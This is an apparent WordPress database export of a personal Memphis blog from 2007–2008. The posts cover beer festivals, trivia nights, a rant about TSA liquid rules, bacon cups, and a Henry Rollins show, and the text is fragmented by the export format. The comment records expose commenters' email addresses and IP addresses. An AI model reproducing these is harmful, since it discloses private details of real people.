    86 2007-09-05 13:14:39 2007-09-05 18:14:39 open open new-ipods-today publish 0 0 post 0 _geo_location , _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"iphone";}i:2;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Microformat Enabled http://ottodestruct.com/blog/?attachment_id=87 Tue, 11 Sep 2007 18:26:04 +0000 http://ottodestruct.com/blog/wp-content/uploads/2007/09/mfe_green.png 87 2007-09-11 13:26:04 2007-09-11 18:26:04 open open microformat-enabled inherit 0 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2007/09/mfe_green.png _wp_attachment_metadata a:5:{s:5:"width";i:88;s:6:"height";i:31;s:14:"hwstring_small";s:22:"height='31' width='88'";s:4:"file";s:77:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/09/mfe_green.png";s:5:"thumb";s:23:"mfe_green.thumbnail.png";} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/09/mfe_green.png _utw_tags_0 no tags Minor highlights of the life of Otto... http://ottodestruct.com/blog/2007/minor-highlights-of-the-life-of-otto/ Wed, 12 Sep 2007 05:08:31 +0000 http://ottodestruct.com/blog/2007/09/12/minor-highlights-of-the-life-of-otto/ her blog. I wrote a short little technical ditty about how to integrate Microformats and WordPress Themes. If you're into WordPress, or CMS's in general, it's worth a look. Since I use this site as a sort of test bed, I might also mention that it's currently showing nine, count 'em, nine different microformats. And a few other things that aren't microformats as well. Went to the Art on Tap beer festival this last weekend. Had a hell of a good time, but was rather disappointed in the food selection. Also, it was one of the only beer festivals I've ever seen where all the beer was poured out of bottles. The exception was the homebrews poured by The Bluff City Brewers, which were all really good. I recall getting back to the Saucer, I don't quite recall going home. So clearly, I had a good time. Paul posted some shots of the fest, some of which include yours truly. The Rapscallions won at Trivia tonight, amazingly enough. Pete has clearly been making the questions harder, as we only scored 79 out of a possible 160-something. Still, that was enough for a tie, and we won the tie-breaker. $50 in the pot for the next party! I received an invitation to the wedding of Chris, a friend of mine currently living in Atlanta. I kinda wonder about it, the wedding reception is at a beach resort in Alabama, but it's in November. Anybody know what the weather is like at Gulf Shores in November? Along with the invite, I received a summons from Zach for the Bachelor Party in October. Unfortunately, I'm told that it's the same day as the Great Decatur Beer Tasting Festival. That's just poor planning, man. Although, a beer tasting in the afternoon, followed by a Bachelor Party all evening... I'm not sure I'm capable of that anymore. I'm not as young as I used to be. Still, it's doable, and damnit, I think I'm going to have to try. And then this weekend, I have the Cooper-Young festival to cope with. Along with a keg party a block away from the festivities. Oh yeah, and Raiford's is reopening, with Raiford back at the turntables. Now that I live about 2 blocks away from that point, I can see many 40's in my future. So, the fall is looking busy.]]> 88 2007-09-12 00:08:31 2007-09-12 05:08:31 open open minor-highlights-of-the-life-of-otto publish 0 0 post 0 _geo_location , _utw_tags_0 a:10:{i:0;O:8:"stdClass":1:{s:3:"tag";s:10:"art-on-tap";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:12:"cooper-young";}i:3;O:8:"stdClass":1:{s:3:"tag";s:21:"decatur-beer-festival";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"festival";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"lorelle";}i:7;O:8:"stdClass":1:{s:3:"tag";s:12:"microformats";}i:8;O:8:"stdClass":1:{s:3:"tag";s:8:"raifords";}i:9;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1894 rlgray@gmail.com http://wilderblue.blogspot.com 68.184.118.103 2007-09-13 21:09:18 2007-09-14 02:09:18 1 0 0 1887 lorelleonwordpress@gmail.com http://lorelle.wordpress.com/ 70.41.247.67 2007-09-12 11:46:46 2007-09-12 16:46:46 1 0 0 1885 katrinasurprenant@comcast.net http://semicharmedkat.blogspot.com 63.172.97.226 2007-09-12 08:53:51 2007-09-12 13:53:51 loathe eBay.]]> 1 0 0 1883 lorelleonwordpress@gmail.com http://lorelle.wordpress.com/ 70.41.247.67 2007-09-12 00:46:53 2007-09-12 05:46:53 1 0 0 Status update http://ottodestruct.com/blog/2007/status-update/ Thu, 01 Nov 2007 18:28:58 +0000 http://ottodestruct.com/blog/2007/11/01/status-update/ Saucer this afternoon though, for a little while. Last weekend was a blast. The South Main Arts Festival was a heck of a good time. Although the art itself was rather expensive, the various food shops were spectacular. Had a good time at the various costume parties as well. Didn't get any pictures, but Paul did, so that'll do, for now. I've got some stashed somewhere, I'll post them eventually. The weekend before that I was in Atlanta, doing a combination beer festival and bachelor party. This event told me two things: a) I'm getting old and creaky, b) I can still hold my liquor with the best of them. While the pain was for lack of a better term, immense, at least I was still able to drink for 13 hours straight and remain mostly upright, with only the occasional stumbling. Pictures of some parts of this will be posted soon. The weekend before that, my dad was in town for our local block party, or as I want to call it, the bi-ann-sou-mai-con. He had a good time, and got nicely wasted. Went to the Metal Museum the next day, for their annual Repair Days thing. Got some iron work he brought repaired, and then he left early, but not before picking up many pieces of Gus' chicken to take back to mom. The weeks before that I probably did some things too. Just not particularly important ones. I will resolve to update more often in the future, I swear.]]> 89 2007-11-01 13:28:58 2007-11-01 18:28:58 open open status-update publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Holy crap, it's cold! http://ottodestruct.com/blog/2007/holy-crap-its-cold/ Thu, 15 Nov 2007 17:28:13 +0000 http://ottodestruct.com/blog/2007/11/15/holy-crap-its-cold/ 90 2007-11-15 12:28:13 2007-11-15 17:28:13 open open holy-crap-its-cold publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} You Don't Know Jack http://ottodestruct.com/blog/2007/you-still-dont-know-jack/you-dont-know-jack/ Tue, 04 Dec 2007 19:04:07 +0000 http://ottodestruct.com/blog/wp-content/uploads/2007/12/knowjack.png 92 2007-12-04 14:04:07 2007-12-04 19:04:07 open open you-dont-know-jack inherit 91 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2007/12/knowjack.png _wp_attachment_metadata a:5:{s:5:"width";i:144;s:6:"height";i:163;s:14:"hwstring_small";s:22:"height='96' width='84'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/12/knowjack.png";s:5:"thumb";s:22:"knowjack.thumbnail.png";} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/12/knowjack.png You Still Don't Know Jack http://ottodestruct.com/blog/2007/you-still-dont-know-jack/ Tue, 04 Dec 2007 19:09:42 +0000 http://ottodestruct.com/blog/2007/12/04/you-still-dont-know-jack/ I remember back in college, we'd have hours of fun playing this game. This was when they had online episodes and I had all the CD versions of the game as well. A great little three player trivia game. The online versions even preceded the whole flash gaming craze. They were done in flash, but at the time the most complex flash games looked like stuff you'd seen on the Atari back in the day. But trivia doesn't need complicated graphics, just sharp text and a soundtrack. The soundtrack, of course, was what made the game. But when Jellyvision folded, I forgot about it, more or less. The other day, I ran across my old CD's and tried to get it working again. It had some minor problems with XP, but nothing that searching the internet could not fix. In the process of that search, I discovered that You Don't Know Jack is back! Jellyvision has reformed and has spent most of the year publishing new online episodes on their website: http://youdontknowjack.com. Most of them are "Dis or Dat" episodes, which are short, but they have loads of full episodes too. Well worth a play through. Enjoy!]]> 91 2007-12-04 14:09:42 2007-12-04 19:09:42 open open you-still-dont-know-jack publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4094 queenant10@aol.com 199.82.243.71 2007-12-04 15:09:47 2007-12-04 20:09:47 1 0 0 4101 babylucas@gmail.com 64.27.159.157 2007-12-05 12:00:23 2007-12-05 17:00:23 1 0 0 Note to Self... http://ottodestruct.com/blog/2007/note-to-self/ Tue, 11 Dec 2007 15:14:37 +0000 http://ottodestruct.com/blog/2007/12/11/note-to-self/ The Dempseys again, and the Saucer girls were quite surprised to see me turn up at a baby shower, and I did enjoy PBR in a can at the Deli... Although there was all that, the pain was, and to some extent still is, rather immense. My back is on the edge of killing me and I may need drug infusions to make it to Trivia tonight. Also, I somehow did something rather severe to my finger which makes it difficult to type properly. On the whole, a good time, but not something I can repeat very often.]]> 93 2007-12-11 10:14:37 2007-12-11 15:14:37 open open note-to-self publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Off for Xmas! http://ottodestruct.com/blog/2007/off-for-xmas/ Mon, 24 Dec 2007 12:01:50 +0000 http://ottodestruct.com/blog/2007/12/24/off-for-xmas/ drinking quality time with Mom and Dad. What else are the holidays for? However, I will be back in time for Trivia night at the Saucer on Xmas day, so I'll see everybody then!]]> 94 2007-12-24 07:01:50 2007-12-24 12:01:50 open open off-for-xmas publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} What I got for Xmas http://ottodestruct.com/blog/2007/what-i-got-for-xmas/ Thu, 27 Dec 2007 18:31:06 +0000 http://ottodestruct.com/blog/2007/12/27/what-i-got-for-xmas/ 95 2007-12-27 13:31:06 2007-12-27 18:31:06 open open what-i-got-for-xmas publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4564 http://www.piku.org.uk/diary/2007/12/27/what-i-got-for-christmas 217.10.142.10 2007-12-27 15:05:36 2007-12-27 20:05:36 1 pingback 0 0 Spin the Wheel! http://ottodestruct.com/blog/2008/spin-the-wheel/ Wed, 16 Jan 2008 14:34:15 +0000 http://ottodestruct.com/blog/2008/01/16/spin-the-wheel/ Saucer last night to see my friend Aimee on Wheel of Fortune. It was a lot of fun, they had reserved the entire beer garden section for the crowd and had the show up on the big screen above the stage. Despite the sound coming from one TV being out of sync with the main screen, it was still quite a good show. I was fairly shocked at the number of people there, it was in the 60+ range. Of course all her family was there, and several of the other teachers from her high school, I just wasn't expecting that much of a turnout. Of course, Aimee won, to the tune of $47,500. Which is great, because now she can't be not telling us anything like she has been doing for the last 3 weeks. ;) So congratulations, Aimee! She was also interviewed on the news at 6pm, which was almost as entertaining as the show itself. I missed the interview at the time (arrived late), but my Tivo picked it up for me so I got to watch it this morning. Afterwards, we had trivia night, which I unfortunately had to depart from early because I really was not entirely well yet. I've been sick all week, and though I was past most of it, the combination of two beers and the drugs I had taken was making me quite dizzy. So I went home and collapsed. However, I'm feeling much better this morning, if I could just get over this nasty cough. On another topic, my dad sent me some pictures of the half-completed piano/bar cabinet that he's building me, so it should be ready in another month or two. My condo is starting to look like somebody actually has a sense of taste. Well, okay, maybe not, but it's slowly coming together. I'll post some pictures of the half-built, but now painted, piano later.]]> 96 2008-01-16 09:34:15 2008-01-16 14:34:15 open open spin-the-wheel publish 0 0 post 0 _geo_location , _edit_lock 1215805177 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Snacks are good! http://ottodestruct.com/blog/2008/snacks-are-good/ Tue, 22 Jan 2008 18:26:10 +0000 http://ottodestruct.com/blog/2008/01/22/snacks-are-good/ $20 off $50 at Amazon Grocery. The gist of it is if you buy $50 worth of various Kellogg's and other brand products from Amazon, then use the code KELLOGG1 at check out, they'll cut $20 off the order. It's also eligible for free shipping. Now, Amazon's bulk prices are not the best, but they're not bad either. Plus there's a lot of good stuff on this deal, such as various cereals and breakfast foods, assorted crackers, various types of cookies, etc. I bought some Mini Wheats (I love these in the morning), couple types of cookies, and Rice Krispie treats, for a total of $30. The problem is Amazon's organization. Finding what you want in smaller amounts (instead of gianormous bulk quanities) can be tricky. I suggest going to this page, clicking through to the type of thing you want, then sorting the resulting list by price (low to high). The smaller quantities are at the lower prices as well.]]> 97 2008-01-22 13:26:10 2008-01-22 18:26:10 open open snacks-are-good publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Westboro Baptist planning to protest Heath Ledger's funeral http://ottodestruct.com/blog/2008/westboro-baptist-planning-to-protest-heath-ledgers-funeral/ Wed, 23 Jan 2008 16:58:22 +0000 http://ottodestruct.com/blog/2008/01/23/westboro-baptist-planning-to-protest-heath-ledgers-funeral/ God Hates Shrimp" picket signs and then go and protest as close to the Westboro morons as they can. These people thrive on hatred. So laugh at them instead. It's easier and has a chance of working. read more | digg story]]> 98 2008-01-23 11:58:22 2008-01-23 16:58:22 open open westboro-baptist-planning-to-protest-heath-ledgers-funeral publish 0 0 post 0 _geo_location 35.142395,-90.055825 _geo_converted wp_geo_mashup_locations.id = 2 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4742 hope.metzler@hotmail.com http://www.deploymentlessons.org 217.237.94.90 2008-02-20 07:41:25 2008-02-20 13:41:25 1 0 0 Cheeseburger in a Can http://ottodestruct.com/blog/2008/cheeseburger-in-a-can/ Tue, 29 Jan 2008 19:21:06 +0000 http://ottodestruct.com/blog/2008/01/29/cheeseburger-in-a-can/ For the record, yes, I would eat a cheeseburger in a can, but probably only once. read more | digg story]]> 99 2008-01-29 13:21:06 2008-01-29 19:21:06 open open cheeseburger-in-a-can publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4729 http://rrhobbs.com/cheeseburger-in-a-can-the-burning-question/ 64.22.89.210 2008-02-08 16:31:35 2008-02-08 22:31:35 1 pingback 0 0 Cheeseburger in a Can http://ottodestruct.com/blog/2008/cheeseburger-in-a-can/cheeseburger-in-a-can/ Tue, 29 Jan 2008 19:23:04 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/01/canburger.jpg 100 2008-01-29 13:23:04 2008-01-29 19:23:04 open open cheeseburger-in-a-can inherit 99 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/01/canburger.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/01/canburger.jpg _wp_attachment_metadata a:5:{s:5:"width";i:500;s:6:"height";i:317;s:14:"hwstring_small";s:23:"height='81' width='128'";s:4:"file";s:77:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/01/canburger.jpg";s:5:"thumb";s:23:"canburger.thumbnail.jpg";} YouTube is full of entertainment http://ottodestruct.com/blog/2008/youtube-is-full-of-entertainment/ Thu, 31 Jan 2008 18:27:03 +0000 http://ottodestruct.com/blog/2008/01/31/youtube-is-full-of-entertainment/ Yes, this is stupid. But it's worth it just for Geordi.]]> 101 2008-01-31 12:27:03 2008-01-31 18:27:03 open open youtube-is-full-of-entertainment publish 0 0 post 0 _geo_location , enclosure http://www.youtube.com/v/1iGq54CfG-U 715 application/x-shockwave-flash btc_comment_counts a:0:{} btc_comment_summary a:0:{} The TSA starts a blog http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/ Fri, 08 Feb 2008 17:28:39 +0000 http://ottodestruct.com/blog/2008/02/08/the-tsa-starts-a-blog/ blog written by people at the TSA. Now, I think that the existence of open communication is a good idea. My problem is that the people actually doing the writing seem to either be really, really good at evasion, or they are complete and total idiots. Take this post where somebody named "Kip" tries to explain the ban on liquids in aircraft. He goes on about the "3-1-1" rule, which I had to look up since I no longer fly at all (primarily because of the amazingly obvious and self-evident stupidity of the TSA and its employees), but the gist of the 3-1-1 nonsense is that everybody is allowed 3 containers of 3 ounces each, in 1 clear plastic baggy, 1 per person. He goes on about this quite a bit, but he also completely fails to understand the fundamental problem, which is this: You're trying to find threats, you're not trying to set limitations. If I bring shampoo onto a plane, and it really is shampoo, then how much of it I bring is really irrelevant. The idea is to find those people with actual explosives or other threatening devices, no? So making somebody put 3 oz. of fluid into a clear container is really rather pointless when you don't actually verify WTF the fluid is in the first place. Confiscating some liquid that is not actually an explosive does not increase security in the slightest possible way. Removing things that are actually non-threats is not helpful. He misses that fundamental point throughout his "answer" to the question. He goes on to say that the idea is to have a 10 oz. limit because real liquid bombs need about 20 oz. to do any damage. He even attempts (and fails) to address the obvious question here: What about two guys carrying the same stuff on and then mixing them on the plane? His answer is that mixing liquid explosives is difficult and tricky to do properly. Which, again, misses the fundamental point. If it's tricky to do properly, then it would be tricky even if it was all carried on by one person. The difference between 1 guy carrying 20 oz of liquid and two guys carrying 10 oz. each is actually non-existent. And if they can premix the stuff, then they can pre-mix it, separate it into 3 ounce bottles, and bring one big empty bottle in their carry on. "Mixing" liquids on a plane might be tricky, but simply pouring already mixed liquids from one container to another is not. He also ignores the fact that the plot which started this whole mess was not actually feasible to begin with. Notice his wording in the first question, he says there was a "serious plot", not that they could have actually, you know, done anything. It's like Bruce says, the whole damn thing is nothing but security theater. The TSA's blog is a good idea, if it was, you know, real and not staffed by the same shills who are attempting to force us to accept something which is fundamentally stupid. We're not idiots. We know that the policies are stupid, because it's really really obvious that they are. Trying to tell us that these rules are, in fact, not stupid simply isn't going to work. I mean, I don't expect them to admit their real agendas or anything, but all he attempts to do is to say that their policies make sense (they don't), that they actually do protect anybody from anything (they don't), and that a whole lot of other countries implemented them too (irrelevant to the actual question in the first place). You can't sell me nonsense by saying that you're fresh out of sense. Kip also tries to hide behind the "classified" label at one point, which is such complete bullshit. If actual terrorists know how to do this, then telling me how it could be done doesn't make any difference. If terrorists don't know how to do this, then what the fuck are you protecting us from? Anyway, it's worth a read to see how ignorant the TSA really is. Reading that blog only increases my determination to not fly at all until the paranoid idiots in charge get replaced by somebody with more sense. From the look of things, I may be waiting a while.]]> 102 2008-02-08 11:28:39 2008-02-08 17:28:39 open open the-tsa-starts-a-blog publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Happy Birthday to me http://ottodestruct.com/blog/2008/happy-birthday-to-me/ Sat, 09 Feb 2008 05:58:22 +0000 http://ottodestruct.com/blog/2008/02/08/happy-birthday-to-me/ 103 2008-02-08 23:58:22 2008-02-09 05:58:22 open open happy-birthday-to-me publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4736 rajan.vineet@gmail.com http://vinni.co.in 123.201.37.192 2008-02-10 15:08:44 2008-02-10 21:08:44 1 0 0 4730 alex@pixelapes.com http://www.pixelapes.com 89.184.39.97 2008-02-09 06:11:37 2008-02-09 12:11:37 1 0 0 Garfield minus garfield http://ottodestruct.com/blog/2008/garfield-minus-garfield/ Mon, 25 Feb 2008 19:09:44 +0000 http://ottodestruct.com/blog/2008/02/25/garfield-minus-garfield/ http://garfieldminusgarfield.net/ Who would have guessed that when you remove Garfield from the Garfield comic strips, the result is an even better comic about schizophrenia, bipolar disorder, and the empty desperation of modern life? Friends, meet Jon Arbuckle. Let's laugh and learn with him on a journey deep into the tortured mind of an isolated young everyman as he fights a losing battle against loneliness and methamphetamine addiction in a quiet American suburb. [wp_caption id="attachment_241" align="aligncenter" width="500" caption="Without the cat, this is more than a little disturbing..."]Without the cat, this is more than a little disturbing...[/wp_caption] ]]> 104 2008-02-25 13:09:44 2008-02-25 19:09:44 open open garfield-minus-garfield publish 0 0 post 0 _geo_location , _edit_lock 1215805015 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Too much sushi... http://ottodestruct.com/blog/2008/too-much-sushi/ Wed, 27 Feb 2008 20:54:11 +0000 http://ottodestruct.com/blog/2008/02/27/too-much-sushi/ Cali Lewis of GeekBrief.tv posted this the other day, and I just got around to noticing it: http://icali.tv/sushi-for-everyone I did this exact same thing the first time I went to BlueFin. Hey, we were ordering based on the pricing and not really reading it too closely. Me and Mike ended up getting sushi for like 8 people. So I feel her pain. Nevertheless, I now want some sushi. Damn.]]> 105 2008-02-27 14:54:11 2008-02-27 20:54:11 open open too-much-sushi publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4746 liquorfairy@gmail.com http://www.theliquorfairy.com 74.229.184.85 2008-02-27 20:38:28 2008-02-28 02:38:28 1 0 0 4747 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-02-27 22:26:18 2008-02-28 04:26:18 Itta Bena for their happy hour (which preceded my trip to the Red Rooster to watch the Memphis Tigers beat the hell out of Tulsa), and they had FREE sushi appetizers. So, it ended up being a good day. :D]]> 1 0 1 Bacon cups http://ottodestruct.com/blog/2008/bacon-cups/bacon-cups/ Fri, 29 Feb 2008 16:38:16 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/02/spread_cupdetail.jpg 106 2008-02-29 10:38:16 2008-02-29 16:38:16 open open bacon-cups inherit 107 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/02/spread_cupdetail.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/02/spread_cupdetail.jpg _wp_attachment_metadata a:5:{s:5:"width";i:350;s:6:"height";i:263;s:14:"hwstring_small";s:23:"height='96' width='127'";s:4:"file";s:84:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/02/spread_cupdetail.jpg";s:5:"thumb";s:30:"spread_cupdetail.thumbnail.jpg";} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Bacon cups http://ottodestruct.com/blog/2008/bacon-cups/ Fri, 29 Feb 2008 16:49:57 +0000 http://ottodestruct.com/blog/2008/02/29/bacon-cups/ Bacon cups Yes, a cup made of bacon. What better thing could you possibly make edible utensils out of than bacon? The site called "not martha" gives details on exactly how to do this. The scheme is simple and straightforward, and I imagine that if you wanted to scale this up to a taco salad sized bowl, then it would be quite possible. On the other hand, I'm considering this sized container as a possible holder for cheese dip, for that ultimate party snack food. Although I am somewhat concerned about leak-through. You'd have to use quite a lot of bacon to be sure that it was sealed enough to hold thick liquids like dip.. Or ranch. If you do scale it up to taco salad, then don't forget the bacon salt.]]> 107 2008-02-29 10:49:57 2008-02-29 16:49:57 open open bacon-cups publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4750 jure@truestorieslaworder.com http://truestorieslaworder.com 24.188.53.28 2008-03-02 01:18:42 2008-03-02 07:18:42 1 0 0 4757 mshaunwalker@aol.com 64.12.116.9 2008-03-05 11:02:54 2008-03-05 17:02:54 1 0 0 5759 http://www.trevorfitzgerald.com/2008/04/bookmarks-for-monday-april-7th/ 74.54.131.2 2008-04-07 23:02:34 2008-04-08 04:02:34 1 pingback 0 0 6199 jure@truestorieslaworder.com http://truestorieslaworder.com 24.188.53.28 2008-03-02 00:18:42 2008-03-02 05:18:42 1 0 0 Snowing in Memphis http://ottodestruct.com/blog/2008/snowing-in-memphis/ Fri, 07 Mar 2008 21:08:05 +0000 http://ottodestruct.com/blog/2008/03/07/snowing-in-memphis/ Looks like it's sticking alright Unfortunately, the rooftop shots show that there is basically zero visibility. I can't even see the downtown core from here. Can't even see downtown because of the thickness of it Ah well. Still, I expect some snowballs to be thrown tonight. :) Have fun in Phoenix, Mandy!]]> 108 2008-03-07 15:08:05 2008-03-07 21:08:05 open open snowing-in-memphis publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4760 james@piku.org.uk http://www.piku.org.uk 87.194.150.228 2008-03-08 01:41:56 2008-03-08 07:41:56 1 0 0 4761 mshaunwalker@aol.com 205.188.116.9 2008-03-08 10:26:28 2008-03-08 16:26:28 1 0 0 Time for a show http://ottodestruct.com/blog/2008/time-for-a-show/ Sun, 09 Mar 2008 06:43:18 +0000 http://ottodestruct.com/blog/2008/03/09/time-for-a-show/ New Daisy Theater on Beale Street. Guess which show I saw tonight? Marquee above the New Daisy Theater As Mikey would say, I'll give you three guesses and the first two don't count. Henry Rollins was awesome. I highly recommend the show if he's coming to your town any time soon. Really. Go. Now. Get tickets. Although the show was slightly too political for my tastes, he uses the politics to jump off into segues about touring around with various bands and into the interesting punk rock scene, such as it is. Since I'm a huge fan of most every band mentioned (although clearly not as huge a fan as Henry is), it's a hell of a good time. Comedy interspersed with fun stories about global travel to "hotspots" around the world. He also does a fine impression of Christopher Walken (not to mention a damned good impression of Iggy Pop). So , if you are not particularly conservative (although the neo-cons are quite welcome, it'll give them something to be pissed off about later), then really, go see the show. Henry is a damn fine storyteller, and an extremely interesting person. It's a bit of a shame he's so anti-beer, he'd be a fun person to hang out at a bar and chat with.]]> 109 2008-03-09 00:43:18 2008-03-09 06:43:18 open open time-for-a-show publish 0 0 post 0 _geo_location , _edit_last 1 _edit_lock 1207140124 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 4767 smallerdemon@gmail.com http://smallerdemon.com/sdblog 70.132.17.31 2008-03-09 10:36:33 2008-03-09 16:36:33 is Rollins, after all, so there's no way it wasn't going to be political. One of my favorite moments on his show on IFC is his letter to Anne Coulter. Friend of mine caught him in Birmingham last week and said it was pretty spectacular as well.]]> 1 0 0 4786 liteforward@gmail.com http://liteforward.com 125.162.9.53 2008-03-23 13:07:03 2008-03-23 18:07:03 1 0 0 6159 liteforward@gmail.com http://liteforward.com 125.162.9.53 2008-03-23 11:32:11 2008-03-23 16:32:11 When I write a post in wordpress and upload an image, the thumbnail choice not showing, just show to appear it as a "Full size" and "Title". but "Thumbnail" not appear.
    How i can fix this ?
    Thanks b4.]]>
    1 0 0
    Terrorism, it's everywhere! http://ottodestruct.com/blog/2008/terrorism-its-everywhere/ Thu, 03 Apr 2008 16:26:18 +0000 http://ottodestruct.com/blog/?p=114
    I mean, when you see the Attorney General saying that software piracy and other IP related crimes fund criminal syndicates and terrorists, then you have to wonder if the government of our country isn't off its meds or something.

    If any future leaders of the world are reading this, let me remind you that the public is not stupid. People as a group can be completely idiotic, but individuals are generally relatively smart people with pretty good bullshit meters.

    This sort of stuff flies perfectly well when you're at a rah-rah rally sort of thing, because the mob mentality kicks in and people will cheer damn near anything at that point. But when your speech gets translated into text and shoved onto the internet, and individuals read it word by word, then they realize that you're a complete jackass who either a) has no idea what the fuck he's talking about or b) is just pandering to the group/mob mentality.

    Is it really too much to ask for our leaders to actually have a clue as to what the hell they are talking about?
    ]]>
    114 2008-04-03 11:26:18 2008-04-03 16:26:18 open open terrorism-its-everywhere publish 0 0 post 0 _edit_last 1 _edit_lock 1207240077 _geo_location 35.142395,-90.055825 _geo_converted wp_geo_mashup_locations.id = 2 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6090 jonathan.soroko@gmail.com 216.254.126.4 2008-06-11 04:10:37 2008-06-11 09:10:37 presumed ignorance of the public. The people who make this argument have enough information available to know that - in the worst possible case - SOME bad guys have moved counterfeit goods as ONE of a number of illict activities. That's the slender thread upon which certain copyright holders have made this argument; special pleading in which they ask that government resources committed to counter-terrorism be allocated to protect their private intellectual property rights. War profiteering in slightly different form.]]> 1 0 0
    ncaa_08_finalfour http://ottodestruct.com/blog/2008/game-night-tonight/ncaa_08_finalfour/ Mon, 07 Apr 2008 16:42:47 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/ncaa_08_finalfour.jpg 116 2008-04-07 11:42:47 2008-04-07 16:42:47 open open ncaa_08_finalfour inherit 115 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/ncaa_08_finalfour.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/ncaa_08_finalfour.jpg _wp_attachment_metadata a:5:{s:5:"width";i:150;s:6:"height";i:134;s:14:"hwstring_small";s:23:"height='96' width='107'";s:4:"file";s:85:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/ncaa_08_finalfour.jpg";s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Game night tonight! http://ottodestruct.com/blog/2008/game-night-tonight/ Mon, 07 Apr 2008 16:57:41 +0000 http://ottodestruct.com/blog/?p=115 Final Four Logo Go Tigers! Planning on watching the game tonight over at the Red Rooster, should be a good time. The Rooster is a nice place, good food, cheap drinks, handy location... I give it the Otto Seal of Approval. This is much like the Good Housekeeping seal, except that it means less housework and more drunken stumbling. Watched the semi-final games over at Chad's condo on Friday, and had a much better time there than over at the Flying Saucer. Here's the thing, watching a game at the Saucer just really sucks. When it's packed, yes, there is a lot of energy about, but it's also freakin' packed. It's virtually impossible to get a waitress to bring you a beer, if you're sitting inside then it's too hot, if you're sitting outside then it's too loud from all the crowd, and in either place you can't see the screens worth a damn. The audio is desynched from the projection screen because of the delay on the non-HD broadcast (and all the screens around the outside are non-HD), it's hard to see the projection screen anyway during the day because it's not bright enough... The list goes on. I'm sorry, but when I want to see a game, I kinda want to see the game. Crowd energy is nice, but pointless cheering when I can't see or hear the damn plays is rather stupid. This is why I think the Rooster is a better choice. They have a larger bar area with three bars, so getting beer is easy. All the screens around the place (dozens) are widescreen HD. The bar is dark even in the day, so the projectors show up nice and bright. The beer is cheaper on game days than even the Saucer on a Monday, and it's good beer too. The crowd is just as large, but more into the game (it's much more of a sports place), so there's not as much idiocy as the Saucer has on those days... Don't get me wrong, I love the Saucer, but it's not a place I think of when I think of watching sports. It's a beer bar, in the truest sense. I go there to drink beers and play darts and sit at the window and play trivia... and that's it. I wouldn't go there for sports. I wouldn't go there for food (often). I like the Saucer a lot, but I know its limitations.]]> 115 2008-04-07 11:57:41 2008-04-07 16:57:41 open open game-night-tonight publish 0 0 post 0 _edit_lock 1211819449 _geo_location , _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} One of my new favorite sites http://ottodestruct.com/blog/2008/one-of-my-new-favorite-sites/ Thu, 10 Apr 2008 01:58:57 +0000 